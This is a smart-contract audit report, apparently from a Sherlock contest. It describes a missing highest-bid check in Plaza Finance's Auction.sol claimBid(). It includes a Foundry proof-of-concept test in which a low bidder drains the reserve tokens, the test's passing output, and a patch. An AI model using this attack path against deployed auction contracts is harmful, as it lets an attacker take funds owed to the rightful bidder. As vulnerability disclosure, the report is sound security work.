Quiet Seafoam Carp

High

# Any bidder can claim reserveToken in Auction

### Summary

[Auction.sol:claimBid()](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L356) function allows any bidder to claim `reserveToken`, not just the auction winner because of missing checks if bid is highest.

### Root Cause

`Auction.sol:claimBid()` does not check if `bidIndex` is the `highestBidIndex`, allowing anyone who has bids in the auction to claim reserveTokens:
```Solidity
/**
  * @dev Claims the tokens for a winning bid.
  * @param bidIndex The index of the bid to claim.
  */
function claimBid(uint256 bidIndex) auctionExpired auctionSucceeded whenNotPaused external {
  Bid storage bidInfo = bids[bidIndex];
  //@audit only checks if bid owned by sender and it's not claimed, but not that its highest bid
  if (bidInfo.bidder != msg.sender) revert NothingToClaim();
  if (bidInfo.claimed) revert AlreadyClaimed();

  bidInfo.claimed = true;
  IERC20(sellReserveToken).transfer(bidInfo.bidder, bidInfo.buyReserveAmount);

  emit BidClaimed(bidIndex, bidInfo.bidder, bidInfo.buyReserveAmount);
}
```


### Internal Pre-conditions

1. Attacker has bids in auction.

### External Pre-conditions

_No response_

### Attack Path

1. Attacker put lowest possible bid with highest possible `buyReserveAmount`
2. Attacker call `Auction.sol:claimBid()` first with his bid

### Impact

`Auction.sol:claimBid()` function does not work as intended, allowing any bidder to claim `reserveToken`.

### PoC

Add this test to `/test/Auction.t.sol `:
```Solidity
function testClaimBidNotHighestGetReserve() public {
  address attackBidder = address(0x1001);
  uint256 mintAmountReserveToken = 1e11;
  uint256 higherBidAmount = 1e10;
  uint256 smallestBidAmount = 1e9;

  uint256 usualBidderBidIndex;
  uint256 attackBidderBidIndex;

  weth.mint(address(auction), mintAmountReserveToken);

  //usual bidder creates highest bid
  vm.startPrank(bidder);
  usdc.mint(bidder, higherBidAmount);
  usdc.approve(address(auction), higherBidAmount);
  usualBidderBidIndex = auction.bid(mintAmountReserveToken, higherBidAmount);
  vm.stopPrank();

  //attack bidder creates lowest bid
  vm.startPrank(attackBidder);
  usdc.mint(attackBidder, smallestBidAmount);
  usdc.approve(address(auction), smallestBidAmount);
  attackBidderBidIndex = auction.bid(mintAmountReserveToken, smallestBidAmount);
  vm.stopPrank();

  //add time to end auction
  vm.warp(block.timestamp + 15 days);

  //check that highest bid is owned by usual bidder
  uint256 highestBidIndexFromAuction = auction.highestBidIndex();
  uint256 lowestBidIndexFromAuction = auction.lowestBidIndex();
  assertEq(usualBidderBidIndex, highestBidIndexFromAuction);
  assertEq(attackBidderBidIndex, lowestBidIndexFromAuction);

  //set auction state = State.SUCCEEDED
  uint256 stateSlot = 7;
  vm.store(address(auction), bytes32(stateSlot), bytes32(uint256(1)));

  //check that before claim attack bidder had no reserve tokens
  uint256 initialAttackBidderBalance = weth.balanceOf(attackBidder);
  assertEq(0, initialAttackBidderBalance);

  //claim bid as lowest bidder
  vm.startPrank(attackBidder);
  auction.claimBid(attackBidderBidIndex);
  vm.stopPrank();

  //check that attacker get all reserve tokens
  uint256 afterClaimAttackBidderBalance = weth.balanceOf(attackBidder);
  assertEq(mintAmountReserveToken, afterClaimAttackBidderBalance);

  //highest bidder can't get reward
  vm.startPrank(bidder);
  vm.expectRevert();
  auction.claimBid(usualBidderBidIndex);
  vm.stopPrank();
}
```
In cmd run this command:
```Shell
forge test --mt testClaimBidNotHighestGetReserve
```
Output:
```Shell
Ran 1 test for test/Auction.t.sol:AuctionTest
[PASS] testClaimBidNotHighestGetReserve() (gas: 543077)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.53ms (366.11Âµs CPU time)
```

### Mitigation

Update `Auction.sol:claimBid()` like this:
```Solidity
/**
  * @dev Claims the tokens for a winning bid.
  * @param bidIndex The index of the bid to claim.
  */
function claimBid(uint256 bidIndex) auctionExpired auctionSucceeded whenNotPaused external {
  Bid storage bidInfo = bids[bidIndex];
  if (bidInfo.bidder != msg.sender) revert NothingToClaim();
  if (bidInfo.claimed) revert AlreadyClaimed();
  //@audit add check if its highestBid
  if (bidIndex != highestBidIndex) revert("not winner");

  bidInfo.claimed = true;
  IERC20(sellReserveToken).transfer(bidInfo.bidder, bidInfo.buyReserveAmount);

  emit BidClaimed(bidIndex, bidInfo.bidder, bidInfo.buyReserveAmount);
}
```